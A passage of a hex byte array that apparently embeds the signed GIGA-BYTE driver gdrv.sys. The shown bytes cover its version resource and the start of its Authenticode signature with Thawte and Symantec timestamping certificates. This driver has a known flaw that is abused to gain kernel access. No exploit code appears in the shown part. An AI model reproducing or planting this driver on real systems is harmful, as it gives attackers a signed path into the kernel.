0x00, 0x5E, 0x00, 0x1F, 0x00, 0x01, 0x00, 0x43, 0x00, + 0x6F, 0x00, 0x6D, 0x00, 0x70, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x79, 0x00, + 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x47, 0x00, 0x49, 0x00, 0x47, 0x00, 0x41, 0x00, 0x2D, 0x00, 0x42, 0x00, + 0x59, 0x00, 0x54, 0x00, 0x45, 0x00, 0x20, 0x00, 0x54, 0x00, 0x45, 0x00, + 0x43, 0x00, 0x48, 0x00, 0x4E, 0x00, 0x4F, 0x00, 0x4C, 0x00, 0x4F, 0x00, + 0x47, 0x00, 0x59, 0x00, 0x20, 0x00, 0x43, 0x00, 0x4F, 0x00, 0x2E, 0x00, + 0x2C, 0x00, 0x20, 0x00, 0x4C, 0x00, 0x54, 0x00, 0x44, 0x00, 0x2E, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x58, 0x00, 0x18, 0x00, 0x01, 0x00, 0x46, 0x00, + 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x44, 0x00, 0x65, 0x00, 0x73, 0x00, + 0x63, 0x00, 0x72, 0x00, 0x69, 0x00, 0x70, 0x00, 0x74, 0x00, 0x69, 0x00, + 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0x00, 0x49, 0x00, + 0x47, 0x00, 0x41, 0x00, 0x2D, 0x00, 0x42, 0x00, 0x59, 0x00, 0x54, 0x00, + 0x45, 0x00, 0x20, 0x00, 0x4E, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x50, 0x00, + 0x4E, 0x00, 0x50, 0x00, 0x20, 0x00, 0x44, 0x00, 0x72, 0x00, 0x69, 0x00, + 0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x00, 0x30, 0x00, 0x08, 0x00, + 0x01, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x56, 0x00, + 0x65, 0x00, 0x72, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x31, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, + 0x30, 0x00, 0x2E, 0x00, 0x31, 0x00, 0x00, 0x00, 0x32, 0x00, 0x09, 0x00, + 0x01, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x65, 0x00, 0x72, 0x00, + 0x6E, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, + 0x65, 0x00, 0x00, 0x00, 0x67, 0x00, 0x64, 0x00, 0x72, 0x00, 0x76, 0x00, + 0x2E, 0x00, 0x73, 0x00, 0x79, 0x00, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x4A, 0x00, 0x13, 0x00, 0x01, 0x00, 0x4C, 0x00, 0x65, 0x00, 0x67, 0x00, + 0x61, 0x00, 0x6C, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x70, 0x00, 0x79, 0x00, + 0x72, 0x00, 0x69, 0x00, 0x67, 0x00, 0x68, 0x00, 0x74, 0x00, 0x00, 0x00, + 0x43, 0x00, 0x6F, 0x00, 0x70, 0x00, 0x79, 0x00, 0x72, 0x00, 0x69, 0x00, + 0x67, 0x00, 0x68, 0x00, 0x74, 0x00, 0x20, 0x00, 0x28, 0x00, 0x43, 0x00, + 0x29, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x31, 0x00, 0x37, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x3A, 0x00, 0x09, 0x00, 0x01, 0x00, 0x4F, 0x00, + 0x72, 0x00, 0x69, 0x00, 0x67, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x61, 0x00, + 0x6C, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x6E, 0x00, + 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x67, 0x00, 0x64, 0x00, + 0x72, 0x00, 0x76, 0x00, 0x2E, 0x00, 0x73, 0x00, 0x79, 0x00, 0x73, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x2E, 0x00, 0x07, 0x00, 0x01, 0x00, 0x50, 0x00, + 0x72, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x63, 0x00, 0x74, 0x00, + 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x67, 0x00, 0x64, 0x00, 0x72, 0x00, 0x76, 0x00, 0x36, 0x00, 0x34, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x36, 0x00, 0x09, 0x00, 0x01, 0x00, 0x50, 0x00, + 0x72, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x63, 0x00, 0x74, 0x00, + 0x56, 0x00, 0x65, 0x00, 0x72, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6F, 0x00, + 0x6E, 0x00, 0x00, 0x00, 0x31, 0x00, 0x37, 0x00, 0x31, 0x00, 0x32, 0x00, + 0x30, 0x00, 0x31, 0x00, 0x30, 0x00, 0x31, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x44, 0x00, 0x00, 0x00, 0x01, 0x00, 0x56, 0x00, 0x61, 0x00, 0x72, 0x00, + 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x49, 0x00, 0x6E, 0x00, + 0x66, 0x00, 0x6F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0x00, 0x04, 0x00, + 0x00, 0x00, 0x54, 0x00, 0x72, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x73, 0x00, + 0x6C, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x04, 0x04, 0xB0, 0x04, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x40, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0xF8, 0xA0, 0x00, 0xA1, + 0x08, 0xA1, 0x10, 0xA1, 0xB8, 0xA1, 0xD0, 0xA1, 0xD8, 0xA1, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA8, 0x1E, 0x00, 0x00, + 0x00, 0x02, 0x02, 0x00, 0x30, 0x82, 0x1E, 0x99, 0x06, 0x09, 0x2A, 0x86, + 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x07, 0x02, 0xA0, 0x82, 0x1E, 0x8A, 0x30, + 0x82, 0x1E, 0x86, 0x02, 0x01, 0x01, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x05, + 0x2B, 0x0E, 0x03, 0x02, 0x1A, 0x05, 0x00, 0x30, 0x82, 0x01, 0xA8, 0x06, + 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x04, 0xA0, + 0x82, 0x01, 0x98, 0x30, 0x82, 0x01, 0x94, 0x30, 0x82, 0x01, 0x6D, 0x06, + 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x0F, 0x30, + 0x82, 0x01, 0x5D, 0x03, 0x01, 0x00, 0xA0, 0x82, 0x01, 0x56, 0xA1, 0x82, + 0x01, 0x52, 0x04, 0x10, 0xA6, 0xB5, 0x86, 0xD5, 0xB4, 0xA1, 0x24, 0x66, + 0xAE, 0x05, 0xA2, 0x17, 0xDA, 0x8E, 0x60, 0xD6, 0x04, 0x82, 0x01, 0x3C, + 0x31, 0x82, 0x01, 0x38, 0x30, 0x82, 0x01, 0x34, 0x06, 0x0A, 0x2B, 0x06, + 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x03, 0x01, 0x31, 0x82, 0x01, 0x24, + 0x04, 0x82, 0x01, 0x20, 0x00, 0x00, 0x00, 0x00, 0xCA, 0x42, 0xF0, 0x63, + 0x0E, 0x03, 0xB4, 0x39, 0xF0, 0x67, 0xD0, 0xB1, 0x98, 0x56, 0x51, 0xF8, + 0x55, 0x81, 0x87, 0xBB, 0x00, 0x04, 0x00, 0x00, 0xC8, 0x09, 0x9C, 0xAC, + 0x56, 0xC2, 0x4E, 0x91, 0x87, 0xA9, 0xBA, 0x3A, 0x41, 0x00, 0x8A, 0x63, + 0xFF, 0x63, 0x20, 0xF5, 0x00, 0x14, 0x00, 0x00, 0xAE, 0x9A, 0x08, 0xC8, + 0x17, 0xEF, 0xCD, 0xDF, 0x73, 0x8E, 0x95, 0xD4, 0x04, 0x21, 0xD9, 0x91, + 0x7D, 0x94, 0x8F, 0x37, 0x00, 0x24, 0x00, 0x00, 0xD2, 0xE2, 0x21, 0x90, + 0xF4, 0x35, 0xA7, 0xC8, 0xED, 0x11, 0xC4, 0xA8, 0x14, 0x29, 0xA9, 0x5C, + 0xAC, 0x70, 0xEF, 0x98, 0x00, 0x30, 0x00, 0x00, 0x2C, 0xCF, 0x64, 0xA1, + 0x96, 0x1C, 0xA6, 0x4F, 0xA4, 0x56, 0x4D, 0x96, 0x7E, 0xE2, 0xCF, 0xF4, + 0x44, 0xB0, 0xC0, 0xAE, 0x00, 0x38, 0x00, 0x00, 0x24, 0xB1, 0x02, 0xB3, + 0x62, 0x96, 0x08, 0x3E, 0x4F, 0x2F, 0x41, 0xA9, 0x67, 0x89, 0x93, 0xDC, + 0x25, 0x4C, 0x20, 0xB7, 0x00, 0x3A, 0x00, 0x00, 0x79, 0x8C, 0x65, 0x36, + 0xA9, 0x2D, 0x3B, 0xE4, 0xEF, 0xC5, 0x4D, 0x13, 0x8F, 0x51, 0x46, 0xFE, + 0xCB, 0x0D, 0xAA, 0x08, 0x00, 0x3C, 0x00, 0x00, 0xF4, 0xC1, 0x6A, 0xFC, + 0xB5, 0x43, 0x6A, 0xFD, 0x18, 0xB9, 0x8C, 0x64, 0xB7, 0x4D, 0x02, 0xD6, + 0xF9, 0x3A, 0x9B, 0xB8, 0x00, 0x3E, 0x00, 0x00, 0xF6, 0x95, 0xBD, 0xF3, + 0x7A, 0x5A, 0x4A, 0xB9, 0xA4, 0x07, 0x04, 0x77, 0x26, 0x6A, 0x44, 0xF4, + 0x7B, 0x09, 0xB3, 0x04, 0x00, 0x44, 0x00, 0x00, 0xEB, 0xF4, 0x2C, 0xFA, + 0x74, 0x90, 0x80, 0xD3, 0x34, 0x51, 0x0B, 0xAF, 0xCA, 0x5F, 0x9D, 0x6F, + 0x68, 0xA5, 0xE0, 0x30, 0x00, 0x48, 0x00, 0x00, 0xDC, 0x15, 0x74, 0x35, + 0x89, 0x13, 0xAD, 0xE7, 0xE0, 0x22, 0x48, 0x18, 0xFC, 0xA0, 0xEA, 0x03, + 0xD7, 0x7E, 0xBC, 0x64, 0x00, 0x4A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x30, 0x21, 0x30, 0x09, 0x06, 0x05, 0x2B, 0x0E, + 0x03, 0x02, 0x1A, 0x05, 0x00, 0x04, 0x14, 0x5C, 0x26, 0xF1, 0x30, 0xF6, + 0xA5, 0xAD, 0x8B, 0xDD, 0x2E, 0xED, 0x29, 0x14, 0x05, 0x42, 0xDA, 0xE0, + 0x88, 0x5B, 0x17, 0xA0, 0x82, 0x18, 0x86, 0x30, 0x82, 0x03, 0xEE, 0x30, + 0x82, 0x03, 0x57, 0xA0, 0x03, 0x02, 0x01, 0x02, 0x02, 0x10, 0x7E, 0x93, + 0xEB, 0xFB, 0x7C, 0xC6, 0x4E, 0x59, 0xEA, 0x4B, 0x9A, 0x77, 0xD4, 0x06, + 0xFC, 0x3B, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, + 0x01, 0x01, 0x05, 0x05, 0x00, 0x30, 0x81, 0x8B, 0x31, 0x0B, 0x30, 0x09, + 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x5A, 0x41, 0x31, 0x15, 0x30, + 0x13, 0x06, 0x03, 0x55, 0x04, 0x08, 0x13, 0x0C, 0x57, 0x65, 0x73, 0x74, + 0x65, 0x72, 0x6E, 0x20, 0x43, 0x61, 0x70, 0x65, 0x31, 0x14, 0x30, 0x12, + 0x06, 0x03, 0x55, 0x04, 0x07, 0x13, 0x0B, 0x44, 0x75, 0x72, 0x62, 0x61, + 0x6E, 0x76, 0x69, 0x6C, 0x6C, 0x65, 0x31, 0x0F, 0x30, 0x0D, 0x06, 0x03, + 0x55, 0x04, 0x0A, 0x13, 0x06, 0x54, 0x68, 0x61, 0x77, 0x74, 0x65, 0x31, + 0x1D, 0x30, 0x1B, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x14, 0x54, 0x68, + 0x61, 0x77, 0x74, 0x65, 0x20, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66, 0x69, + 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x1F, 0x30, 0x1D, 0x06, 0x03, + 0x55, 0x04, 0x03, 0x13, 0x16, 0x54, 0x68, 0x61, 0x77, 0x74, 0x65, 0x20, + 0x54, 0x69, 0x6D, 0x65, 0x73, 0x74, 0x61, 0x6D, 0x70, 0x69, 0x6E, 0x67, + 0x20, 0x43, 0x41, 0x30, 0x1E, 0x17, 0x0D, 0x31, 0x32, 0x31, 0x32, 0x32, + 0x31, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5A, 0x17, 0x0D, 0x32, 0x30, + 0x31, 0x32, 0x33, 0x30, 0x32, 0x33, 0x35, 0x39, 0x35, 0x39, 0x5A, 0x30, + 0x5E, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, + 0x55, 0x53, 0x31, 0x1D, 0x30, 0x1B, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, + 0x14, 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x20, 0x43, 0x6F, + 0x72, 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x30, 0x30, + 0x2E, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x27, 0x53, 0x79, 0x6D, 0x61, + 0x6E, 0x74, 0x65, 0x63, 0x20, 0x54, 0x69, 0x6D, 0x65, 0x20, 0x53, 0x74, + 0x61, 0x6D, 0x70, 0x69, 0x6E, 0x67, 0x20, 0x53, 0x65, 0x72, 0x76, 0x69, + 0x63, 0x65, 0x73, 0x20, 0x43, 0x41, 0x20, 0x2D, 0x20, 0x47, 0x32, 0x30, + 0x82, 0x01, 0x22, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, + 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x82, 0x01, 0x0F, 0x00, 0x30, + 0x82, 0x01, 0x0A, 0x02, 0x82, 0x01, 0x01, 0x00, 0xB1, 0xAC, 0xB3, 0x49, + 0x54, 0x4B, 0x97, 0x1C, 0x12, 0x0A, 0xD8, 0x25, 0x79, 0x91, 0x22, 0x57, + 0x2A, 0x6F, 0xDC, 0xB8, 0x26, 0xC4, 0x43, 0x73, 0x6B, 0xC2, 0xBF, 0x2E, + 0x50, 0x5A, 0xFB, 0x14, 0xC2, 0x76, 0x8E, 0x43, 0x01, 0x25, 0x43, 0xB4, + 0xA1, 0xE2, 0x45, 0xF4, 0xE8, 0xB7, 0x7B, 0xC3, 0x74, 0xCC, 0x22, 0xD7, + 0xB4, 0x94, 0x00, 0x02, 0xF7, 0x4D, 0xED, 0xBF, 0xB4, 0xB7, 0x44, 0x24, + 0x6B, 0xCD, 0x5F, 0x45, 0x3B, 0xD1, 0x44, 0xCE, 0x43, 0x12, 0x73, 0x17, + 0x82, 0x8B, 0x69, 0xB4, 0x2B, 0xCB, 0x99, 0x1E, 0xAC, 0x72, 0x1B, 0x26, + 0x4D, 0x71, 0x1F, 0xB1, 0x31, 0xDD, 0xFB, 0x51, 0x61, 0x02, 0x53, 0xA6, + 0xAA, 0xF5, 0x49, 0x2C, 0x05, 0x78, 0x45, 0xA5, 0x2F, 0x89, 0xCE, 0xE7, + 0x99, 0xE7, 0xFE, 0x8C, 0xE2, 0x57, 0x3F, 0x3D, 0xC6, 0x92, 0xDC, 0x4A, + 0xF8, 0x7B, 0x33, 0xE4, 0x79, 0x0A, 0xFB, 0xF0, 0x75, 0x88, 0x41, 0x9C, + 0xFF, 0xC5, 0x03, 0x51, 0x99, 0xAA, 0xD7, 0x6C, 0x9F, 0x93, 0x69, 0x87, + 0x65, 0x29, 0x83, 0x85, 0xC2, 0x60, 0x14, 0xC4, 0xC8, 0xC9, 0x3B, 0x14, + 0xDA, 0xC0, 0x81, 0xF0, 0x1F, 0x0D, 0x74, 0xDE, 0x92, 0x22, 0xAB, 0xCA, + 0xF7, 0xFB, 0x74, 0x7C, 0x27, 0xE6, 0xF7, 0x4A, 0x1B, 0x7F, 0xA7, 0xC3, + 0x9E, 0x2D, 0xAE, 0x8A, 0xEA, 0xA6, 0xE6, 0xAA, 0x27, 0x16, 0x7D, 0x61, + 0xF7, 0x98, 0x71, 0x11, 0xBC, 0xE2, 0x50, 0xA1, 0x4B, 0xE5, 0x5D, 0xFA, + 0xE5, 0x0E, 0xA7, 0x2C, 0x9F, 0xAA, 0x65, 0x20, 0xD3, 0xD8, 0x96, 0xE8, + 0xC8, 0x7C, 0xA5, 0x4E, 0x48, 0x44, 0xFF, 0x19, 0xE2, 0x44, 0x07, 0x92, + 0x0B, 0xD7, 0x68, 0x84, 0x80, 0x5D, 0x6A, 0x78, 0x64, 0x45, 0xCD, 0x60, + 0x46, 0x7E, 0x54, 0xC1, 0x13, 0x7C, 0xC5, 0x79, 0xF1, 0xC9, 0xC1, 0x71, + 0x02, 0x03, 0x01, 0x00, 0x01, 0xA3, 0x81, 0xFA, 0x30, 0x81, 0xF7, 0x30, + 0x1D, 0x06, 0x03, 0x55, 0x1D, 0x0E, 0x04, 0x16, 0x04, 0x14, 0x5F, 0x9A, + 0xF5, 0x6E, 0x5C, 0xCC, 0xCC, 0x74, 0x9A, 0xD4, 0xDD, 0x7D, 0xEF, 0x3F, + 0xDB, 0xEC, 0x4C, 0x80, 0x2E, 0xDD, 0x30, 0x32, 0x06, 0x08, 0x2B, 0x06, + 0x01, 0x05, 0x05, 0x07, 0x01, 0x01, 0x04, 0x26, 0x30, 0x24, 0x30, 0x22, + 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x30, 0x01, 0x86, 0x16, + 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x6F, 0x63, 0x73, 0x70, 0x2E, + 0x74, 0x68, 0x61, 0x77, 0x74, 0x65, 0x2E, 0x63, 0x6F, 0x6D, 0x30, 0x12, + 0x06, 0x03, 0x55, 0x1D, 0x13, 0x01, 0x01, 0xFF, 0x04, 0x08, 0x30, 0x06, + 0x01, 0x01, 0xFF, 0x02, 0x01, 0x00, 0x30, 0x3F, 0x06, 0x03, 0x55, 0x1D, + 0x1F, 0x04, 0x38, 0x30, 0x36, 0x30, 0x34, 0xA0, 0x32, 0xA0, 0x30, 0x86, + 0x2E, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x63, 0x72, 0x6C, 0x2E, + 0x74, 0x68, 0x61, 0x77, 0x74, 0x65, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x54, + 0x68, 0x61, 0x77, 0x74, 0x65, 0x54, 0x69, 0x6D, 0x65, 0x73, 0x74, 0x61, + 0x6D, 0x70, 0x69, 0x6E, 0x67, 0x43, 0x41, 0x2E, 0x63, 0x72, 0x6C, 0x30, + 0x13, 0x06, 0x03, 0x55, 0x1D, 0x25, 0x04, 0x0C, 0x30, 0x0A, 0x06, 0x08, + 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x03, 0x08, 0x30, 0x0E, 0x06, 0x03, + 0x55, 0x1D, 0x0F, 0x01, 0x01, 0xFF, 0x04, 0x04, 0x03, 0x02, 0x01, 0x06, + 0x30, 0x28, 0x06, 0x03, 0x55, 0x1D, 0x11, 0x04, 0x21, 0x30, 0x1F, 0xA4, + 0x1D, 0x30, 0x1B, 0x31, 0x19, 0x30, 0x17, 0x06, 0x03, 0x55, 0x04, 0x03, + 0x13, 0x10, 0x54, 0x69, 0x6D, 0x65, 0x53, 0x74, 0x61, 0x6D, 0x70, 0x2D, + 0x32, 0x30, 0x34, 0x38, 0x2D, 0x31, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, + 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x05, 0x05, 0x00, 0x03, 0x81, 0x81, + 0x00, 0x03, 0x09, 0x9B, 0x8F, 0x79, 0xEF, 0x7F, 0x59, 0x30, 0xAA, 0xEF, + 0x68, 0xB5, 0xFA, 0xE3, 0x09, 0x1D, 0xBB, 0x4F, 0x82, 0x06, 0x5D, 0x37, + 0x5F, 0xA6, 0x52, 0x9F, 0x16, 0x8D, 0xEA, 0x1C, 0x92, 0x09, 0x44, 0x6E, + 0xF5, 0x6D, 0xEB, 0x58, 0x7C, 0x30, 0xE8, 0xF9, 0x69, 0x8D, 0x23, 0x73, + 0x0B, 0x12, 0x6F, 0x47, 0xA9, 0xAE, 0x39, 0x11, 0xF8, 0x2A, 0xB1, 0x9B, + 0xB0, 0x1A, 0xC3, 0x8E, 0xEB, 0x59, 0x96, 0x00, 0xAD, 0xCE, 0x0C, 0x4D, + 0xB2, 0xD0, 0x31, 0xA6, 0x08, 0x5C, 0x2A, 0x7A, 0xFC, 0xE2, 0x7A, 0x1D, + 0x57, 0x4C, 0xA8, 0x65, 0x18, 0xE9, 0x79, 0x40, 0x62, 0x25, 0x96, 0x6E, + 0xC7, 0xC7, 0x37, 0x6A, 0x83, 0x21, 0x08, 0x8E, 0x41, 0xEA, 0xDD, 0xD9, + 0x57, 0x3F, 0x1D, 0x77, 0x49, 0x87, 0x2A, 0x16, 0x06, 0x5E, 0xA6, 0x38, + 0x6A, 0x22, 0x12, 0xA3, 0x51, 0x19, 0x83, 0x7E, 0xB6, 0x30, 0x82, 0x04, + 0xA3, 0x30, 0x82, 0x03, 0x8B, 0xA0, 0x03, 0x02, 0x01, 0x02, 0x02, 0x10, + 0x0E, 0xCF, 0xF4, 0x38, 0xC8, 0xFE, 0xBF, 0x35, 0x6E, 0x04, 0xD8, 0x6A, + 0x98, 0x1B, 0x1A, 0x50, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, + 0xF7, 0x0D, 0x01, 0x01, 0x05, 